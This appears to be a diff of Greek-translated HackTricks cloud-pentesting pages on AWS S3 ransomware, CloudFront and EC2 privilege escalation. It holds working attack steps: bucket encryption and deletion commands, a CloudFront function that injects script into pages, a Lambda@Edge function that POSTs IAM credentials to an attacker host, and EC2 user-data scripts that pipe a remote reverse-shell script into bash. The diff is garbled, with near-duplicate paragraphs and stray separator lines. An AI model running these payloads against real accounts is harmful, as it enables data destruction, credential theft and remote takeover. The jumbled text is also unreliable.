Για να προσδιορίσει αν ένα bucket μπορεί να στοχευτεί για ransomware, ο attacker ελέγχει τη διαμόρφωσή του. Αυτό περιλαμβάνει τον έλεγχο αν είναι ενεργοποιημένο το **S3 Object Versioning** και αν είναι ενεργοποιημένο το **multi-factor authentication delete (MFA delete)**. Αν το Object Versioning δεν είναι ενεργοποιημένο, ο attacker μπορεί να προχωρήσει. Αν το Object Versioning είναι ενεργό αλλά το MFA delete είναι απενεργοποιημένο, ο attacker μπορεί να **disable Object Versioning**. Αν και το Object Versioning και το MFA delete είναι ενεργά, γίνεται πιο δύσκολο για τον attacker να εφαρμόσει ransomware σε αυτό το συγκεκριμένο bucket.
|
||||
Για να καθορίσει αν το bucket μπορεί να στοχευθεί για ransomware, ο attacker ελέγχει τη διαμόρφωσή του. Αυτό περιλαμβάνει την επαλήθευση αν **S3 Object Versioning** είναι enabled και αν **multi-factor authentication delete (MFA delete)** είναι enabled. Αν Object Versioning δεν είναι enabled, ο attacker μπορεί να προχωρήσει. Αν Object Versioning είναι enabled αλλά MFA delete είναι disabled, ο attacker μπορεί να **disable Object Versioning**. Αν και τα δύο Object Versioning και MFA delete είναι enabled, γίνεται πιο δύσκολο για τον attacker να ransomware εκείνο το συγκεκριμένο bucket.
|
||||
|
||||
Χρησιμοποιώντας το AWS API, ο attacker **αντικαθιστά κάθε αντικείμενο στο bucket με ένα κρυπτογραφημένο αντίγραφο χρησιμοποιώντας το KMS key του**. Αυτό ουσιαστικά κρυπτογραφεί τα δεδομένα στο bucket, καθιστώντας τα μη προσβάσιμα χωρίς το key.
|
||||
Χρησιμοποιώντας το AWS API, ο attacker **replaces each object in the bucket with an encrypted copy using their KMS key**. Αυτό ουσιαστικά encrypts τα δεδομένα στο bucket, καθιστώντας τα μη προσβάσιμα χωρίς το key.
|
||||
|
||||
Για να ασκήσει επιπλέον πίεση, ο attacker προγραμματίζει τη διαγραφή του KMS key που χρησιμοποιήθηκε στην επίθεση. Αυτό δίνει στο θύμα ένα παράθυρο 7 ημερών για να ανακτήσει τα δεδομένα του πριν διαγραφεί το key και τα δεδομένα χαθούν οριστικά.
|
||||
Για να αυξήσει την πίεση, ο attacker προγραμματίζει τη διαγραφή του KMS key που χρησιμοποιήθηκε στην επίθεση. Αυτό δίνει στο θύμα ένα παράθυρο 7 ημερών για να ανακτήσει τα δεδομένα του πριν το key διαγραφεί και τα δεδομένα χαθούν οριστικά.
|
||||
|
||||
Τέλος, ο attacker μπορεί να ανεβάσει ένα τελικό αρχείο, συνήθως με όνομα "ransom-note.txt", το οποίο περιέχει οδηγίες για το θύμα σχετικά με το πώς να ανακτήσει τα αρχεία του. Αυτό το αρχείο ανεβαίνει χωρίς κρυπτογράφηση, πιθανώς για να τραβήξει την προσοχή του θύματος και να το ενημερώσει για την επίθεση ransomware.
|
||||
Τέλος, ο attacker μπορεί να ανεβάσει ένα τελικό αρχείο, συνήθως με όνομα "ransom-note.txt", που περιέχει οδηγίες για το θύμα σχετικά με το πώς να ανακτήσει τα αρχεία του. Αυτό το αρχείο ανεβαίνει χωρίς κρυπτογράφηση, πιθανώς για να τραβήξει την προσοχή του θύματος και να το ενημερώσει για την επίθεση ransomware.
|
||||
|
||||
**For more info** [**check the original research**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
|
||||
### `s3:RestoreObject`
|
||||
|
||||
Ένας attacker με την άδεια `s3:RestoreObject` μπορεί να επανενεργοποιήσει αντικείμενα που έχουν αρχειοθετηθεί στο Glacier ή Deep Archive, καθιστώντας τα προσωρινά προσβάσιμα. Αυτό επιτρέπει την ανάκτηση και την exfiltration ιστορικά αρχειοθετημένων δεδομένων (backups, snapshots, logs, certifications, old secrets) που κανονικά θα ήταν εκτός προσέγγισης. Αν ο attacker συνδυάσει αυτή την άδεια με read permissions (π.χ., `s3:GetObject`), μπορεί να αποκτήσει πλήρη αντίγραφα ευαίσθητων δεδομένων.
|
||||
```bash
|
||||
aws s3api restore-object \
|
||||
--bucket <BUCKET_NAME> \
|
||||
--key <OBJECT_KEY> \
|
||||
--restore-request '{
|
||||
"Days": <NUMBER_OF_DAYS>,
|
||||
"GlacierJobParameters": { "Tier": "Standard" }
|
||||
}'
|
||||
```
|
||||
### `s3:Delete*`
|
||||
|
||||
Ένας attacker με την άδεια s3:Delete* μπορεί να διαγράψει objects, versions και ολόκληρα buckets, να διαταράξει backups, και να προκαλέσει άμεση και μη αναστρέψιμη απώλεια δεδομένων, καταστροφή αποδεικτικών στοιχείων και συμβιβασμό των backup ή recovery artifacts.
|
||||
```bash
|
||||
# Delete an object from a bucket
|
||||
aws s3api delete-object \
|
||||
--bucket <BUCKET_NAME> \
|
||||
--key <OBJECT_KEY>
|
||||
|
||||
# Delete a specific version
|
||||
aws s3api delete-object \
|
||||
--bucket <BUCKET_NAME> \
|
||||
--key <OBJECT_KEY> \
|
||||
--version-id <VERSION_ID>
|
||||
|
||||
# Delete a bucket
|
||||
aws s3api delete-bucket \
|
||||
--bucket <BUCKET_NAME>
|
||||
```
|
||||
**Για περισσότερες πληροφορίες** [**ελέγξτε την πρωτότυπη έρευνα**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
+217
@@ -0,0 +1,217 @@
|
||||
# AWS - CloudFront Privesc
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## CloudFront
|
||||
|
||||
### `cloudfront:UpdateDistribution` & `cloudfront:GetDistributionConfig`
|
||||
|
||||
Ένας attacker που έχει τα δικαιώματα cloudfront:UpdateDistribution και cloudfront:GetDistributionConfig μπορεί να τροποποιήσει τη διαμόρφωση μιας CloudFront distribution. Δεν χρειάζονται δικαιώματα στο ίδιο το target S3 bucket, αν και η επίθεση είναι πιο εύκολη αν εκείνο το bucket έχει μια permissive policy που επιτρέπει πρόσβαση από το cloudfront.amazonaws.com service principal.
|
||||
|
||||
Ο attacker αλλάζει την origin configuration μιας distribution ώστε να δείχνει σε άλλο S3 bucket ή σε έναν server που ελέγχεται από τον attacker. Πρώτα παίρνουν την τρέχουσα distribution configuration:
|
||||
```bash
|
||||
aws cloudfront get-distribution-config --id <distribution-id> | jq '.DistributionConfig' > current-config.json
|
||||
```
|
||||
Στη συνέχεια επεξεργάζονται το current-config.json ώστε να δείχνει το origin στον νέο πόρο — για παράδειγμα, ένα διαφορετικό S3 bucket:
|
||||
```bash
|
||||
...
|
||||
"Origins": {
|
||||
"Quantity": 1,
|
||||
"Items": [
|
||||
{
|
||||
"Id": "<origin-id>",
|
||||
"DomainName": "<new-bucket>.s3.us-east-1.amazonaws.com",
|
||||
"OriginPath": "",
|
||||
"CustomHeaders": {
|
||||
"Quantity": 0
|
||||
},
|
||||
"S3OriginConfig": {
|
||||
"OriginAccessIdentity": "",
|
||||
"OriginReadTimeout": 30
|
||||
},
|
||||
"ConnectionAttempts": 3,
|
||||
"ConnectionTimeout": 10,
|
||||
"OriginShield": {
|
||||
"Enabled": false
|
||||
},
|
||||
"OriginAccessControlId": "E30N32Y4IBZ971"
|
||||
}
|
||||
]
|
||||
},
|
||||
...
|
||||
```
|
||||
Τέλος, εφαρμόστε την τροποποιημένη διαμόρφωση (πρέπει να παρέχετε το τρέχον ETag κατά την ενημέρωση):
|
||||
```bash
|
||||
CURRENT_ETAG=$(aws cloudfront get-distribution-config --id <distribution-id> --query 'ETag' --output text)
|
||||
|
||||
aws cloudfront update-distribution \
|
||||
--id <distribution-id> \
|
||||
--distribution-config file://current-config.json \
|
||||
--if-match $CURRENT_ETAG
|
||||
```
|
||||
|
||||
### `cloudfront:UpdateFunction`, `cloudfront:PublishFunction`, `cloudfront:GetFunction`, `cloudfront:CreateFunction` and `cloudfront:AssociateFunction`
|
||||
An attacker needs the permissions cloudfront:UpdateFunction, cloudfront:PublishFunction, cloudfront:GetFunction, cloudfront:CreateFunction and cloudfront:AssociateFunction to manipulate or create CloudFront functions.
|
||||
|
||||
The attacker creates a malicious CloudFront Function that injects JavaScript into HTML responses:
|
||||
|
||||
```bash
|
||||
function handler(event) {
|
||||
var request = event.request;
|
||||
var response = event.response;
|
||||
// Create a new body with malicious JavaScript
|
||||
var maliciousBody = `
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<title>Compromised Page</title>
|
||||
</head>
|
||||
<body>
|
||||
<h1>Original Content</h1>
|
||||
<p>This page has been modified by CloudFront Functions</p>
|
||||
<script>
|
||||
// Malicious JavaScript
|
||||
alert('CloudFront Function Code Injection Successful!');
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
`;
|
||||
// Replace the body entirely
|
||||
response.body = { encoding: "text", data: maliciousBody };
|
||||
// Update headers
|
||||
response.headers["content-type"] = { value: "text/html; charset=utf-8" };
|
||||
response.headers["content-length"] = {
|
||||
value: maliciousBody.length.toString(),
|
||||
};
|
||||
response.headers["x-cloudfront-function"] = { value: "malicious-injection" };
|
||||
return response;
|
||||
}
|
||||
```
|
||||
|
||||
Commands to create, publish and attach the function:
|
||||
|
||||
```bash
|
||||
# Δημιουργήστε τη malicious function στο CloudFront
|
||||
aws cloudfront create-function --name malicious-function --function-config '{
|
||||
"Comment": "Malicious CloudFront Function for Code Injection",
|
||||
"Runtime": "cloudfront-js-1.0"
|
||||
}' --function-code fileb://malicious-function.js
|
||||
|
||||
# Λάβετε το ETag της function στο στάδιο DEVELOPMENT
|
||||
aws cloudfront describe-function --name malicious-function --stage DEVELOPMENT --query 'ETag' --output text
|
||||
|
||||
# Δημοσιεύστε τη function στο στάδιο LIVE
|
||||
aws cloudfront publish-function --name malicious-function --if-match <etag>
|
||||
```
|
||||
|
||||
Add the function to the distribution configuration (FunctionAssociations):
|
||||
|
||||
```bash
|
||||
"FunctionAssociations": {
|
||||
"Quantity": 1,
|
||||
"Items": [
|
||||
{
|
||||
"FunctionARN": "arn:aws:cloudfront::<account-id>:function/malicious-function",
|
||||
"EventType": "viewer-response"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
Finally update the distribution configuration (remember to supply the current ETag):
|
||||
|
||||
```bash
|
||||
CURRENT_ETAG=$(aws cloudfront get-distribution-config --id <distribution-id> --query 'ETag' --output text)
|
||||
|
||||
aws cloudfront update-distribution --id <distribution-id> --distribution-config file://current-config.json --if-match $CURRENT_ETAG
|
||||
```
|
||||
|
||||
### `lambda:CreateFunction`, `lambda:UpdateFunctionCode`, `lambda:PublishVersion`, `iam:PassRole` & `cloudfront:UpdateDistribution`
|
||||
|
||||
An attacker needs the lambda:CreateFunction, lambda:UpdateFunctionCode, lambda:PublishVersion, iam:PassRole and cloudfront:UpdateDistribution permissions to create and associate malicious Lambda@Edge functions. A role that can be assumed by the lambda.amazonaws.com and edgelambda.amazonaws.com service principals is also required.
|
||||
|
||||
The attacker creates a malicious Lambda@Edge function that steals the IAM role credentials:
|
||||
|
||||
```bash
|
||||
// malicious-lambda-edge.js
|
||||
exports.handler = async (event) => {
|
||||
// Obtain role credentials
|
||||
const credentials = {
|
||||
accessKeyId: process.env.AWS_ACCESS_KEY_ID,
|
||||
secretAccessKey: process.env.AWS_SECRET_ACCESS_KEY,
|
||||
sessionToken: process.env.AWS_SESSION_TOKEN,
|
||||
};
|
||||
// Send credentials to attacker's server
|
||||
try {
|
||||
await fetch("https://<attacker-ip>/steal-credentials", {
|
||||
method: "POST",
|
||||
headers: { "Content-Type": "application/json" },
|
||||
body: JSON.stringify(credentials)
|
||||
});
|
||||
} catch (error) {
|
||||
console.error("Error sending credentials:", error);
|
||||
}
|
||||
if (event.Records && event.Records[0] && event.Records[0].cf) {
|
||||
// Modify response headers
|
||||
const response = event.Records[0].cf.response;
|
||||
response.headers["x-credential-theft"] = [
|
||||
{
|
||||
key: "X-Credential-Theft",
|
||||
value: "Successful",
|
||||
},
|
||||
];
|
||||
return response;
|
||||
}
|
||||
return {
|
||||
statusCode: 200,
|
||||
body: JSON.stringify({ message: "Credentials stolen" })
|
||||
};
|
||||
};
|
||||
```
|
||||
|
||||
```bash
|
||||
# Πακετάρισμα της συνάρτησης Lambda@Edge
|
||||
zip malicious-lambda-edge.zip malicious-lambda-edge.js
|
||||
|
||||
# Δημιουργία της συνάρτησης Lambda@Edge με προνομιακό ρόλο
|
||||
aws lambda create-function \
|
||||
--function-name malicious-lambda-edge \
|
||||
--runtime nodejs18.x \
|
||||
--role <privileged-role-arn> \
|
||||
--handler malicious-lambda-edge.handler \
|
||||
--zip-file fileb://malicious-lambda-edge.zip \
|
||||
--region <region>
|
||||
|
||||
# Δημοσίευση μιας έκδοσης της συνάρτησης
|
||||
aws lambda publish-version --function-name malicious-lambda-edge --region <region>
|
||||
```
|
||||
|
||||
Then the attacker updates the CloudFront distribution configuration to reference the published Lambda@Edge version:
|
||||
|
||||
```bash
|
||||
"LambdaFunctionAssociations": {
|
||||
"Quantity": 1,
|
||||
"Items": [
|
||||
{
|
||||
"LambdaFunctionARN": "arn:aws:lambda:us-east-1:<account-id>:function:malicious-lambda-edge:1",
|
||||
"EventType": "viewer-response",
|
||||
"IncludeBody": false
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
```bash
|
||||
# Εφαρμόστε την ενημερωμένη ρύθμιση διανομής (πρέπει να χρησιμοποιήσετε το τρέχον ETag)
|
||||
CURRENT_ETAG=$(aws cloudfront get-distribution-config --id <distribution-id> --query 'ETag' --output text)
|
||||
|
||||
aws cloudfront update-distribution \
|
||||
--id <distribution-id> \
|
||||
--distribution-config file://current-config.json \
|
||||
--if-match $CURRENT_ETAG
|
||||
|
||||
# Ενεργοποιήστε τη λειτουργία ζητώντας τη διανομή
|
||||
curl -v https://<distribution-domain>.cloudfront.net/
|
||||
```
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
+67
-44
@@ -4,7 +4,7 @@
|
||||
|
||||
## EC2
|
||||
|
||||
Για περισσότερες **πληροφορίες για το EC2** δες:
|
||||
Για περισσότερες **πληροφορίες για EC2** δείτε:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
|
||||
@@ -12,19 +12,19 @@
|
||||
|
||||
### `iam:PassRole`, `ec2:RunInstances`
|
||||
|
||||
Ένας attacker θα μπορούσε να δημιουργήσει ένα instance επισυνάπτοντας ένα IAM role και στη συνέχεια να αποκτήσει πρόσβαση στο instance για να κλέψει τα IAM role credentials από το metadata endpoint.
|
||||
Ένας επιτιθέμενος θα μπορούσε να **δημιουργήσει ένα instance επισυνάπτοντας έναν IAM role και στη συνέχεια να αποκτήσει πρόσβαση στο instance** για να κλέψει τα IAM role credentials από το metadata endpoint.
|
||||
|
||||
- **Πρόσβαση μέσω SSH**
|
||||
|
||||
Εκτέλεσε ένα νέο instance χρησιμοποιώντας ένα **δημιουργημένο** **ssh key** (`--key-name`) και στη συνέχεια ssh σε αυτό (αν θέλεις να δημιουργήσεις νέο ίσως χρειαστεί να έχεις την άδεια `ec2:CreateKeyPair`).
|
||||
Εκτέλεσε ένα νέο instance χρησιμοποιώντας ένα **δημιουργημένο** **ssh key** (`--key-name`) και μετά κάνε ssh σε αυτό (αν θέλεις να δημιουργήσεις ένα νέο μπορεί να χρειαστεί να έχεις την άδεια `ec2:CreateKeyPair`).
|
||||
```bash
|
||||
aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
|
||||
--iam-instance-profile Name=<instance-profile-name> --key-name <ssh-key> \
|
||||
--security-group-ids <sg-id>
|
||||
```
|
||||
- **Πρόσβαση μέσω rev shell σε user data**
|
||||
- **Πρόσβαση μέσω rev shell στο user data**
|
||||
|
||||
Μπορείτε να εκκινήσετε ένα νέο instance χρησιμοποιώντας **user data** (`--user-data`) που θα σας στείλει ένα **rev shell**. Δεν χρειάζεται να καθορίσετε security group με αυτόν τον τρόπο.
|
||||
Μπορείτε να εκκινήσετε ένα νέο instance χρησιμοποιώντας **user data** (`--user-data`) το οποίο θα σας στείλει ένα **rev shell**. Δεν χρειάζεται να καθορίσετε security group με αυτόν τον τρόπο.
|
||||
```bash
|
||||
echo '#!/bin/bash
|
||||
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh
|
||||
@@ -34,17 +34,17 @@ aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
|
||||
--count 1 \
|
||||
--user-data "file:///tmp/rev.sh"
|
||||
```
|
||||
Πρόσεχε το GuradDuty αν χρησιμοποιήσεις τα credentials του IAM role έξω από το instance:
|
||||
Πρόσεχε το GuradDuty αν χρησιμοποιήσεις τα credentials του IAM role εκτός του instance:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md
|
||||
{{#endref}}
|
||||
|
||||
**Potential Impact:** Άμεσο privesc σε οποιοδήποτε EC2 role που είναι attached σε υπάρχοντα instance profiles.
|
||||
**Potential Impact:** Άμεσο privesc σε οποιοδήποτε EC2 role attached σε υπάρχοντα instance profiles.
|
||||
|
||||
#### Privesc σε ECS
|
||||
|
||||
Με αυτό το σύνολο δικαιωμάτων μπορείς επίσης να **δημιουργήσεις ένα EC2 instance και να το εγγράψεις σε ένα ECS cluster**. Με αυτόν τον τρόπο, οι ECS **services** θα **τρέξουν** μέσα στο **EC2 instance** στο οποίο έχεις πρόσβαση και μετά μπορείς να παραβιάσεις αυτές τις υπηρεσίες (docker containers) και να **κλέψεις τα ECS roles που έχουν συνημμένα**.
|
||||
Με αυτό το σύνολο δικαιωμάτων μπορείς επίσης να **δημιουργήσεις ένα EC2 instance και να το εγγράψεις μέσα σε ένα ECS cluster**. Με αυτόν τον τρόπο, ECS **services** θα **τρέξουν** μέσα στο **EC2 instance** στο οποίο έχεις πρόσβαση και στη συνέχεια μπορείς να παραβιάσεις αυτές τις υπηρεσίες (docker containers) και να **steal their ECS roles attached**.
|
||||
```bash
|
||||
aws ec2 run-instances \
|
||||
--image-id ami-07fde2ae86109a2af \
|
||||
@@ -59,20 +59,20 @@ aws ec2 run-instances \
|
||||
#!/bin/bash
|
||||
echo ECS_CLUSTER=<cluster-name> >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;
|
||||
```
|
||||
Για να μάθετε πώς να αναγκάσετε τα ECS services να τρέξουν σε αυτό το νέο EC2 instance δείτε:
|
||||
Για να μάθετε πώς να **αναγκάσετε υπηρεσίες ECS να τρέξουν** σε αυτό το νέο EC2 instance ελέγξτε:
|
||||
|
||||
{{#ref}}
|
||||
../aws-ecs-privesc/README.md
|
||||
{{#endref}}
|
||||
|
||||
Αν **δεν μπορείτε να δημιουργήσετε ένα νέο instance** αλλά έχετε την άδεια `ecs:RegisterContainerInstance`, μπορεί να είστε σε θέση να καταχωρήσετε το instance μέσα στο cluster και να πραγματοποιήσετε την προαναφερθείσα επίθεση.
|
||||
Εάν **δεν μπορείτε να δημιουργήσετε ένα νέο instance** αλλά έχετε την άδεια `ecs:RegisterContainerInstance`, ίσως να μπορείτε να καταχωρήσετε το instance μέσα στο cluster και να εκτελέσετε την προτεινόμενη επίθεση.
|
||||
|
||||
**Πιθανός Αντίκτυπος:** Direct privesc to ECS roles attached to tasks.
|
||||
**Πιθανός Αντίκτυπος:** Άμεσο privesc σε ECS roles που επισυνάπτονται σε tasks.
|
||||
|
||||
### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`**
|
||||
|
||||
Παρόμοια με το προηγούμενο σενάριο, ένας επιτιθέμενος με αυτά τα δικαιώματα θα μπορούσε να **αλλάξει το IAM role ενός παραβιασμένου instance** ώστε να αποσπάσει νέες διαπιστευτήριες.\
|
||||
Εφόσον ένα instance profile μπορεί να έχει μόνο 1 role, αν το instance profile **έχει ήδη ένα role** (συχνή περίπτωση), θα χρειαστείτε επίσης **`iam:RemoveRoleFromInstanceProfile`**.
|
||||
Παρόμοια με το προηγούμενο σενάριο, ένας επιτιθέμενος με αυτές τις άδειες θα μπορούσε να **αλλάξει το IAM role ενός παραβιασμένου instance** ώστε να μπορεί να κλέψει νέα διαπιστευτήρια.\
|
||||
Καθώς ένα instance profile μπορεί να έχει μόνο 1 role, αν το instance profile **έχει ήδη ένα role** (συνήθης περίπτωση), θα χρειαστείτε επίσης **`iam:RemoveRoleFromInstanceProfile`**.
|
||||
```bash
|
||||
# Removing role from instance profile
|
||||
aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-name <name>
|
||||
@@ -80,34 +80,34 @@ aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-
|
||||
# Add role to instance profile
|
||||
aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>
|
||||
```
|
||||
Αν το **instance profile έχει ένα role** και ο attacker **δεν μπορεί να το αφαιρέσει**, υπάρχει μια άλλη λύση. Μπορεί να **βρει** ένα **instance profile χωρίς role** ή να **δημιουργήσει ένα καινούριο** (`iam:CreateInstanceProfile`), να **προσθέσει** το **role** σε εκείνο το **instance profile** (όπως συζητήθηκε προηγουμένως), και να **συνδέσει το instance profile** compromised σε ένα compromised i**nstance:**
|
||||
Αν το **instance profile has a role** και ο επιτιθέμενος **cannot remove it**, υπάρχει μια άλλη παράκαμψη. Μπορεί να **βρει** ένα **instance profile without a role** ή **να δημιουργήσει ένα νέο** (`iam:CreateInstanceProfile`), **να προσθέσει** το **role** σε εκείνο το **instance profile** (όπως αναφέρθηκε προηγουμένως), και να **συνδέσει** το συμβιβασμένο **instance profile** με ένα συμβιβασμένο i**nstance:**
|
||||
|
||||
- Αν το instance **δεν έχει κανένα instance** profile (`ec2:AssociateIamInstanceProfile`)
|
||||
- Αν το instance **doesn't have any instance** profile (`ec2:AssociateIamInstanceProfile`)
|
||||
```bash
|
||||
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
|
||||
```
|
||||
**Πιθανός Αντίκτυπος:** Άμεση privesc σε διαφορετικό EC2 role (πρέπει να έχετε παραβιάσει ένα AWS EC2 instance και να διαθέτετε κάποια επιπλέον άδεια ή συγκεκριμένη κατάσταση του instance profile).
|
||||
**Potential Impact:** Direct privesc σε διαφορετικό EC2 role (χρειάζεται να έχετε συμβιβάσει ένα AWS EC2 instance και κάποια επιπλέον permission ή συγκεκριμένη κατάσταση instance profile).
|
||||
|
||||
### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`)
|
||||
|
||||
Με αυτά τα δικαιώματα είναι δυνατή η αλλαγή του instance profile που είναι συνδεδεμένο με ένα instance, οπότε αν ο επιτιθέμενος ήδη έχει πρόσβαση σε ένα instance, θα μπορέσει να κλέψει διαπιστευτήρια για περισσότερα instance profile roles αλλάζοντας το instance profile που είναι συσχετισμένο με αυτό.
|
||||
Με αυτά τα permissions είναι δυνατόν να αλλάξετε το instance profile που είναι συσχετισμένο με ένα instance, οπότε εάν ο επιτιθέμενος είχε ήδη πρόσβαση σε ένα instance, θα μπορέσει να κλέψει διαπιστευτήρια για περισσότερα instance profile roles αντικαθιστώντας αυτό που είναι συνδεδεμένο.
|
||||
|
||||
- Αν **έχει instance profile**, μπορείτε να **αφαιρέσετε** το instance profile (`ec2:DisassociateIamInstanceProfile`) και να το **συσχετίσετε**
|
||||
- If it **has an instance profile**, you can **remove** the instance profile (`ec2:DisassociateIamInstanceProfile`) and **associate** it
|
||||
```bash
|
||||
aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
|
||||
aws ec2 disassociate-iam-instance-profile --association-id <value>
|
||||
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
|
||||
```
|
||||
- ή **αντικαταστήσετε** το **instance profile** της συμβιβασμένης instance (`ec2:ReplaceIamInstanceProfileAssociation`).
|
||||
- ή **αντικαταστήσετε** το **instance profile** του compromised instance (`ec2:ReplaceIamInstanceProfileAssociation`).
|
||||
```bash
|
||||
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<value> --association-id <value>
|
||||
```
|
||||
**Potential Impact:** Άμεσο privesc σε διαφορετικό EC2 role (πρέπει να έχετε παραβιάσει ένα AWS EC2 instance και κάποια επιπλέον άδεια ή συγκεκριμένη κατάσταση του instance profile).
|
||||
**Potential Impact:** Άμεσο privesc σε διαφορετικό EC2 role (πρέπει να έχετε παραβιάσει ένα AWS EC2 instance και κάποια επιπλέον άδεια ή συγκεκριμένη κατάσταση instance profile).
|
||||
|
||||
### `ec2:RequestSpotInstances`,`iam:PassRole`
|
||||
|
||||
Ένας επιτιθέμενος με τις άδειες **`ec2:RequestSpotInstances`and`iam:PassRole`** μπορεί να **ζητήσει** ένα **Spot Instance** με **EC2 Role attached** και ένα **rev shell** στο **user data**.\
|
||||
Μόλις το instance εκτελεστεί, μπορεί να **κλέψει το IAM role**.
|
||||
Ένας επιτιθέμενος με τις άδειες **`ec2:RequestSpotInstances`and`iam:PassRole`** μπορεί να ζητήσει ένα **Spot Instance** με **EC2 Role attached** και ένα **rev shell** στο **user data**.\
|
||||
Μόλις το instance εκτελεστεί, μπορεί να **steal the IAM role**.
|
||||
```bash
|
||||
REV=$(printf '#!/bin/bash
|
||||
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
|
||||
@@ -119,9 +119,9 @@ aws ec2 request-spot-instances \
|
||||
```
|
||||
### `ec2:ModifyInstanceAttribute`
|
||||
|
||||
Ένας επιτιθέμενος με το **`ec2:ModifyInstanceAttribute`** μπορεί να τροποποιήσει τα attributes της instance. Μεταξύ αυτών, μπορεί να **αλλάξει το user data**, το οποίο σημαίνει ότι μπορεί να κάνει την instance να **εκτελέσει αυθαίρετα δεδομένα.** Αυτό μπορεί να χρησιμοποιηθεί για να αποκτήσει ένα **rev shell στο EC2 instance**.
|
||||
Ένας επιτιθέμενος με το **`ec2:ModifyInstanceAttribute`** μπορεί να τροποποιήσει τα attributes της instance. Μεταξύ αυτών, μπορεί να **αλλάξει το user data**, που σημαίνει ότι μπορεί να κάνει την instance να **εκτελέσει αυθαίρετα δεδομένα.** Αυτό μπορεί να χρησιμοποιηθεί για να αποκτήσει ένα **rev shell στην EC2 instance**.
|
||||
|
||||
Σημειώστε ότι τα attributes μπορούν να **τροποποιηθούν μόνο ενώ η instance είναι σταματημένη**, οπότε απαιτούνται τα **permissions** **`ec2:StopInstances`** και **`ec2:StartInstances`**.
|
||||
Σημειώστε ότι τα attributes μπορούν να **τροποποιηθούν μόνο ενώ η instance είναι σταματημένη**, επομένως απαιτούνται τα **δικαιώματα** **`ec2:StopInstances`** και **`ec2:StartInstances`**.
|
||||
```bash
|
||||
TEXT='Content-Type: multipart/mixed; boundary="//"
|
||||
MIME-Version: 1.0
|
||||
@@ -158,11 +158,11 @@ aws ec2 modify-instance-attribute \
|
||||
|
||||
aws ec2 start-instances --instance-ids $INSTANCE_ID
|
||||
```
|
||||
**Potential Impact:** Άμεση privesc σε οποιοδήποτε EC2 IAM Role συνημμένο σε μια δημιουργημένη instance.
|
||||
**Πιθανός Αντίκτυπος:** Άμεση privesc σε οποιοδήποτε EC2 IAM Role που είναι προσαρτημένο σε μια δημιουργημένη instance.
|
||||
|
||||
### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate`
|
||||
|
||||
Ένας επιτιθέμενος με τα δικαιώματα **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** μπορεί να δημιουργήσει μια **new Launch Template version** με ένα **rev shell in** τα **user data** και **any EC2 IAM Role on it**, να αλλάξει την default version, και **any Autoscaler group** **using** that **Launch Templat**e που είναι **configured** να χρησιμοποιεί την **latest** ή την **default version** θα **re-run the instances** χρησιμοποιώντας αυτό το template και θα εκτελέσει το rev shell.
|
||||
Ένας επιτιθέμενος με τα δικαιώματα **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** μπορεί να δημιουργήσει μια **new Launch Template version** με ένα **rev shell in** τα **user data** και **any EC2 IAM Role on it**, να αλλάξει την προεπιλεγμένη έκδοση, και **any Autoscaler group** **using** εκείνο το **Launch Templat**e που είναι **configured** να χρησιμοποιεί την **latest** ή την **default version** θα **re-run the instances** χρησιμοποιώντας εκείνο το template και θα εκτελέσει το rev shell.
|
||||
```bash
|
||||
REV=$(printf '#!/bin/bash
|
||||
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
|
||||
@@ -176,11 +176,11 @@ aws ec2 modify-launch-template \
|
||||
--launch-template-name bad_template \
|
||||
--default-version 2
|
||||
```
|
||||
**Potential Impact:** Άμεση privesc σε διαφορετικό EC2 role.
|
||||
**Πιθανή Επίπτωση:** Direct privesc to a different EC2 role.
|
||||
|
||||
### (`autoscaling:CreateLaunchConfiguration` | `ec2:CreateLaunchTemplate`), `iam:PassRole`, (`autoscaling:CreateAutoScalingGroup` | `autoscaling:UpdateAutoScalingGroup`)
|
||||
|
||||
Ένας επιτιθέμενος με τα δικαιώματα **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** μπορεί να **δημιουργήσει ένα Launch Configuration** με ένα **IAM Role** και ένα **rev shell** μέσα στο **user data**, στη συνέχεια να **δημιουργήσει ένα autoscaling group** από εκείνη τη διαμόρφωση και να περιμένει το rev shell να **κλέψει το IAM Role**.
|
||||
